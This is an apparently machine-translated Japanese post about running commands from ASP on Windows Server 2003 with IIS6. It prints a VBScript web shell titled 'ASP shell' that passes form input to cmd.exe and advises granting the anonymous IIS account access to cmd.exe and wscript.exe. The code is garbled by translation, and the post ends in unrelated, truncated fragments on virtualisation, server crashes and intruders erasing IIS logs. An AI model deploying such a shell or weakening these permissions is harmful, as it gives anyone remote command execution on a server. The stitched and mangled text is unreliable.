この問題は、サーバー上でクライアントのコマンドラインプログラムを使ったときに、今日起こりました。後で、いくつかのテストの後、この問題は解決されました。
テストプラットフォーム:windows server 2003 sp2 + iis6
テストコードは次のとおりです。
& lt; title& gt; ASPシェル< /title& gt;& lt;%@ Language = VBScript CodePage =& " 936"%& gt;& lt;%Dim oScript Dim oScriptNet Dim oFileSys、oFile Dim szCMD、szTempFileエラー時に次へ
< oScript = Server.CreateObjectを設定(" WSCRIPT.SHELL& ")設定oFileSys = Server.CreateObject(" Scripting.FileSystemObject")
szCMD = Request.Form( < .CMD")(szCMD<>&")であれば、szTempFile = Server.Mappath(oFileSys.GetTempName())のようにoScript.Run(& 2)を呼び出します。 Quot; cmd.exe /c& szCMD>> szTempFile、0、True)oFile = oFileSys.OpenTextFile(szTempFile)と設定します。 、1、False、0)%& gt;& lt; HTML>& lt; BODY>& lt; FORMアクション=& lt;%= Request.ServerVariablesの場合は終了(&“ URL”")%& gt;&; "method =" POST">< input type =テキスト名=" .CMD" size = 45 value ="<% = szCMD%& gt;<><入力タイプ=送信値=&"コマンド実行"& lt; /FORM>&<> PRE& gt;& lt;%If(IsObject(oFile))その後エラー時再開次へResponse.Write Server.HTMLEncode(oFile.ReadAll)oFile.Close oFileSys.DeleteFile(szTempFile、True)を終了します。; gt;& lt; /BODY& gt;& lt; /HTML& gt;
システムルートディレクトリのiuser_xxxコンピュータ名に対する現在のフォルダに対するcmd.exeおよびwscript.exeのアクセス許可を付与します。読み取りおよび書き込み権限次にIISを再起動します。
CPUを解決するために、障害が記述をサポートしていないことを示唆し、仮想化をインストールし 分析: 誤動作の原因はVTのCPUの機能をBIOSでオンされていないがで解決につながる: はその後、コンピ
Windows Serverをクラッシュさせるには多くの方法がありますが、それらのほとんどは3つのカテゴリに分類されます。古いウイルス対策ソフトウェア、互換性のないストレージドライバ、およびフィルタド
を使用します。最近のサーバーはハッカーの侵入を受けやすいです。侵入者技術はより洗練されています、トレースを消去するためにIISログファイルを削除しますそしてそれからW3SVCからの警告メッセージを見る
の下で展開IIS 6 ASP.NET MVCアプリケーションは、通常ASP.NET MVCのIIS6下アプリケーション、ISAPIがプロセスに直接配置されているときにデプロイされたすべての要求は、AS